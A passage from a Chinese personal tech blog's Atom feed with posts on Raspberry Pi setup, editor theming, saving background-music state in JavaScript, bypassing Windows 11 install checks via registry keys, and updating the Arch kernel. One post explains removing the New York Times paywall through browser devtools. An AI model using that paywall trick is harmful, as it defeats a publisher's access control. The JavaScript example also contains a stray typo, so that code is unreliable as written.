    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>小家伙挺别致的…</p><h1 id="安装-Raspbian-OS"><a href="#安装-Raspbian-OS" class="headerlink" title="安装 Raspbian OS"></a>安装 Raspbian OS</h1><ul><li>作为单板机,RPi的硬件组成比较固定,因此专门为其设计了操作系统Raspbian,可以看出命名时取了RPi的前缀和其父分支Debian的后缀</li><li>RPi官网下载系统影像,解压</li><li>将MicroSD存储卡插入读卡器接入PC,找到对应的设备文件<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo fdisk -l</span><br></pre></td></tr></table></figure></li><li>将系统影像烧录进SD卡<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dd if=&lt;OS影像&gt; of=/dev/&lt;SD卡&gt; status=progress bs=4M conv=fsync</span><br></pre></td></tr></table></figure></li><li>将SD卡插入RPi的卡槽</li></ul><h1 id="接线"><a href="#接线" class="headerlink" title="接线"></a>接线</h1><ul><li>RPi的micro-HDMI口接入显示屏的HDMI口</li><li>RPi的USB口接入显示屏的供电口</li><li>RPi的GPIO口接入40P排线</li><li>RPi的Type-C供电口接入电源适配器</li><li>如用有线网则把网线接入RPi的Ethernet口</li></ul><h1 id="SSH远程控制"><a href="#SSH远程控制" class="headerlink" title="SSH远程控制"></a>SSH远程控制</h1><ul><li>RPi启动后设置用户名密码和网络, 允许ssh密码登录</li><li>PC访问192.168.0.1进入路由器后台获取RPi的ip地址</li><li>ssh连接<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh &lt;user&gt;@&lt;ip&gt; -v</span><br></pre></td></tr></table></figure></li></ul><h1 id="VNC-远程连接"><a href="#VNC-远程连接" class="headerlink" title="VNC 远程连接"></a>VNC 远程连接</h1><ul><li>RPi设置窗口系统为<code>X11</code><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo respi-config</span><br></pre></td></tr></table></figure></li><li>RPi允许vnc服务<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl enable --now vncserver-x11-serviced</span><br></pre></td></tr></table></figure></li><li>PC上安装TigerVNC客户端<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo pacman -Syu tigervnc</span><br></pre></td></tr></table></figure></li><li>启动TigerVNC输入ip进行连接</li></ul><h1 id="更新软件"><a href="#更新软件" class="headerlink" title="更新软件"></a>更新软件</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt update</span><br><span class="line">sudo apt dist-upgrade --fix-missing -y</span><br></pre></td></tr></table></figure><h1 id="更新固件"><a href="#更新固件" class="headerlink" title="更新固件"></a>更新固件</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo rpi-update</span><br></pre></td></tr></table></figure><h1 id="展示"><a href="#展示" class="headerlink" title="展示"></a>展示</h1><img src="/images/rpi.jpg" alt="图片加载出错啦!" style="width: 100%" /><img src="/images/rpi-remote-control.png" alt="图片加载出错啦!" style="width: 100%" />]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="development" scheme="https://www.fireflycamp.net/categories/development/"/>
    
    
    <category term="Linux" scheme="https://www.fireflycamp.net/tags/Linux/"/>
    
    <category term="RaspberryPi" scheme="https://www.fireflycamp.net/tags/RaspberryPi/"/>
    
  </entry>
  
  <entry>
    <title>破解纽约时报内容墙</title>
    <link href="https://www.fireflycamp.net/2024/11/10/%E7%A0%B4%E8%A7%A3%E7%BA%BD%E7%BA%A6%E6%97%B6%E6%8A%A5%E5%86%85%E5%AE%B9%E5%A2%99/"/>
    <id>https://www.fireflycamp.net/2024/11/10/%E7%A0%B4%E8%A7%A3%E7%BA%BD%E7%BA%A6%E6%97%B6%E6%8A%A5%E5%86%85%E5%AE%B9%E5%A2%99/</id>
    <published>2024-11-09T18:46:59.000Z</published>
    <updated>2025-06-16T16:57:36.039Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>看篇文章居然还要收钱，真是太过分了…</p><h1 id="什么是内容墙"><a href="#什么是内容墙" class="headerlink" title="什么是内容墙"></a>什么是内容墙</h1><blockquote><p>在现代数字媒体中，内容墙（Paywall）是一种常见的商业策略，用于限制用户访问在线内容，除非他们满足特定条件，如登录、订阅或支付费用。内容墙的主要目的是通过提供高质量、独特的内容，吸引用户付费或注册，进而支持内容创作者和媒体平台的运营。</p><p>– Chatgpt</p></blockquote><h1 id="删除内容墙"><a href="#删除内容墙" class="headerlink" title="删除内容墙"></a>删除内容墙</h1><ul><li>右击内容墙找到其根元素节点<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">data-testid</span>=<span class="string">&quot;onsite-messaging-unit-gateway&quot;</span> <span class="attr">...</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li>右击选择删除</li><li>此时内容墙消失了,但是页面仍然是被固死的</li></ul><h1 id="解除页面固定"><a href="#解除页面固定" class="headerlink" title="解除页面固定"></a>解除页面固定</h1><ul><li>猜测nytimes通过CSS里的overflow属性来固定的,找到文章的容器元素<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;vi-gateway-container css-mcm29f&quot;</span> <span class="attr">data-testid</span>=<span class="string">&quot;vi-gateway-container&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li>搜索overflow属性,发现其值为hidden,验证了猜想</li><li>overflow的设计初衷是让网页能够优雅地处理页面超出屏幕的部分,而非如此</li><li>将hidden改成auto,页面可以滑动了</li></ul><h1 id="操作演示"><a href="#操作演示" class="headerlink" title="操作演示"></a>操作演示</h1><video controls style="width: 100%; height: auto;">    <source src="/videos/crack-nytimes-paywall.webm" type="video/webm">    Your browser does not support the video tag.</video>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="penetration" scheme="https://www.fireflycamp.net/categories/penetration/"/>
    
    
  </entry>
  
  <entry>
    <title>打造二次元 Linux 开发环境</title>
    <link href="https://www.fireflycamp.net/2024/11/03/%E6%89%93%E9%80%A0%E4%BA%8C%E6%AC%A1%E5%85%83%20Linux%20%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83/"/>
    <id>https://www.fireflycamp.net/2024/11/03/%E6%89%93%E9%80%A0%E4%BA%8C%E6%AC%A1%E5%85%83%20Linux%20%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83/</id>
    <published>2024-11-03T08:32:14.000Z</published>
    <updated>2025-06-16T16:57:44.947Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>令人舒适的开发环境有助于提高产能…</p><h1 id="二次元化-VSCode"><a href="#二次元化-VSCode" class="headerlink" title="二次元化 VSCode"></a>二次元化 VSCode</h1><ul><li>VSCode安装Doki Theme插件</li><li>允许后点击插件的小齿轮-&gt;Set Color Theme来选择二次元颜色主题</li><li>放开VSCode UI写入权限<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo chmod o+w /opt/visual-studio-code/resources/app/product.json</span><br></pre></td></tr></table></figure></li><li><code>Ctrl-Shift-P</code>输入<code>doki-theme: install sticker</code>选择二次元形象</li><li>输入<code>doki-theme: wallpaper</code>选择二次元壁纸</li><li>重启VSCode</li><li>还原：<code>doki-theme: remove</code></li></ul><h1 id="二次元化-Firefox"><a href="#二次元化-Firefox" class="headerlink" title="二次元化 Firefox"></a>二次元化 Firefox</h1><ul><li>设置-&gt;搜索Theme-&gt;Extensions &amp; Themes-&gt;Find more themes-&gt;搜索fox girl-&gt;安装</li></ul><h1 id="效果演示"><a href="#效果演示" class="headerlink" title="效果演示"></a>效果演示</h1><video controls style="width: 100%; height: auto;">    <source src="/videos/demo-animate-desktop.webm" type="video/webm">    Your browser does not support the video tag.</video>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="operation" scheme="https://www.fireflycamp.net/categories/operation/"/>
    
    
    <category term="Linux" scheme="https://www.fireflycamp.net/tags/Linux/"/>
    
    <category term="VSCode" scheme="https://www.fireflycamp.net/tags/VSCode/"/>
    
  </entry>
  
  <entry>
    <title>JS 实现进入站内新页面时 BGM 不中断</title>
    <link href="https://www.fireflycamp.net/2024/11/02/JS%E5%AE%9E%E7%8E%B0%E7%AB%99%E5%86%85%E8%BF%9B%E5%85%A5%E6%96%B0%E9%A1%B5%E9%9D%A2%E6%97%B6bgm%E4%B8%8D%E4%B8%AD%E6%96%AD/"/>
    <id>https://www.fireflycamp.net/2024/11/02/JS%E5%AE%9E%E7%8E%B0%E7%AB%99%E5%86%85%E8%BF%9B%E5%85%A5%E6%96%B0%E9%A1%B5%E9%9D%A2%E6%97%B6bgm%E4%B8%8D%E4%B8%AD%E6%96%AD/</id>
    <published>2024-11-01T22:32:50.000Z</published>
    <updated>2025-06-16T16:56:46.729Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>本站上个版本切换页面时 BGM 会因为页面元素重置而中断并丢失进度，用户需要手动重播，体验十分糟糕…</p><h1 id="用户离开页面前使用-localStorage-存储-BGM-状态"><a href="#用户离开页面前使用-localStorage-存储-BGM-状态" class="headerlink" title="用户离开页面前使用 localStorage 存储 BGM 状态"></a>用户离开页面前使用 localStorage 存储 BGM 状态</h1><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> bgmPlayer = <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&quot;...&quot;</span>);</span><br><span class="line"><span class="variable language_">window</span>.<span class="title function_">addEventListener</span>(<span class="string">&#x27;unload&#x27;</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> bgmState = &#123;</span><br><span class="line">        <span class="attr">currentTime</span>: bgmPlayer.<span class="property">currentTime</span>,</span><br><span class="line">        <span class="attr">isPlaying</span>: !bgmPlayer.<span class="property">paused</span></span><br><span class="line">    &#125;u;</span><br><span class="line">    <span class="variable language_">localStorage</span>.<span class="title function_">setItem</span>(<span class="string">&#x27;bgmState&#x27;</span>, <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(bgmState));</span><br><span class="line"></span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`bgm state saved, currentTime: <span class="subst">$&#123;bgmPlayer.currentTime&#125;</span>, isPlaying: <span class="subst">$&#123;bgmPlayer.isPlaying&#125;</span>`</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h1 id="用户进入界面时恢复状态"><a href="#用户进入界面时恢复状态" class="headerlink" title="用户进入界面时恢复状态"></a>用户进入界面时恢复状态</h1><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> savedState = <span class="variable language_">localStorage</span>.<span class="title function_">getItem</span>(<span class="string">&#x27;bgmState&#x27;</span>);</span><br><span class="line"><span class="keyword">if</span> (savedState) &#123;</span><br><span class="line">  <span class="keyword">const</span> &#123; currentTime, isPlaying &#125; = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(savedState);</span><br><span class="line">  bgmPlayer.<span class="property">currentTime</span> = currentTime;</span><br><span class="line">  <span class="keyword">if</span> (isPlaying) &#123;</span><br><span class="line">    bgmPlayer.<span class="title function_">play</span>();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`bgm state restored, currentTime: <span class="subst">$&#123;bgmPlayer.currentTime&#125;</span>, isPlaying: <span class="subst">$&#123;bgmPlayer.isPlaying&#125;</span>`</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="浏览器问题"><a href="#浏览器问题" class="headerlink" title="浏览器问题"></a>浏览器问题</h1><ul><li>某些浏览器例如Firefox会禁止bgm在新页面时自动播放,需要先在URL栏解除相关限制</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="engineering" scheme="https://www.fireflycamp.net/categories/engineering/"/>
    
    
    <category term="JS" scheme="https://www.fireflycamp.net/tags/JS/"/>
    
  </entry>
  
  <entry>
    <title>绕过Windows 11安装时的配置检查</title>
    <link href="https://www.fireflycamp.net/2024/10/26/%E7%BB%95%E8%BF%87Windows-11%E5%AE%89%E8%A3%85%E6%97%B6%E7%9A%84%E9%85%8D%E7%BD%AE%E6%A3%80%E6%9F%A5/"/>
    <id>https://www.fireflycamp.net/2024/10/26/%E7%BB%95%E8%BF%87Windows-11%E5%AE%89%E8%A3%85%E6%97%B6%E7%9A%84%E9%85%8D%E7%BD%AE%E6%A3%80%E6%9F%A5/</id>
    <published>2024-10-25T16:40:29.000Z</published>
    <updated>2025-06-16T16:57:28.868Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>Windows 11 在安装过程中会检查机器的CPU、内存、存储空间、TPM模块以及 Secure Boot 是否达到其规定的标准，如果没达标则不给安装，不知变通…</p><h1 id="改写注册表"><a href="#改写注册表" class="headerlink" title="改写注册表"></a>改写注册表</h1><p>启动时按 Shift+F10 进入命令行，输入 <code>regedit</code>编辑注册表。<br>找到<code>HKEY_LOCATION_MACHINE\SYSTEM\Setup</code>后左击添加Key <code>LabConfig</code>，在其中添加 Dword(32) 值来取消对应的检查：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">BypassSecureBootCheck 1</span><br><span class="line">BypassRAMCheck 1</span><br><span class="line">BypassTRMCheck 1</span><br></pre></td></tr></table></figure><h1 id="收尾"><a href="#收尾" class="headerlink" title="收尾"></a>收尾</h1><p>退出注册表后执行<code>setup.exe</code>继续安装流程，此时Windows将不再进行检查。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="operation" scheme="https://www.fireflycamp.net/categories/operation/"/>
    
    
    <category term="Windows" scheme="https://www.fireflycamp.net/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>Arch Linux 更新系统内核</title>
    <link href="https://www.fireflycamp.net/2024/10/25/Arch-Linux%E6%9B%B4%E6%96%B0%E7%B3%BB%E7%BB%9F%E5%86%85%E6%A0%B8/"/>
    <id>https://www.fireflycamp.net/2024/10/25/Arch-Linux%E6%9B%B4%E6%96%B0%E7%B3%BB%E7%BB%9F%E5%86%85%E6%A0%B8/</id>
    <published>2024-10-25T13:06:58.000Z</published>
    <updated>2025-06-16T16:56:41.454Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="更新软件信息"><a href="#更新软件信息" class="headerlink" title="更新软件信息"></a>更新软件信息</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -Syu</span><br></pre></td></tr></table></figure><h1 id="安装最新内核"><a href="#安装最新内核" class="headerlink" title="安装最新内核"></a>安装最新内核</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S linux <span class="comment"># linux-lts for LTS kernel</span></span><br></pre></td></tr></table></figure><h1 id="重启后检查"><a href="#重启后检查" class="headerlink" title="重启后检查"></a>重启后检查</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">reboot</span><br><span class="line"><span class="built_in">uname</span> -a</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="operation" scheme="https://www.fireflycamp.net/categories/operation/"/>
    
    
    <category term="Linux" scheme="https://www.fireflycamp.net/tags/Linux/"/>
    
  </entry>
  
</feed>
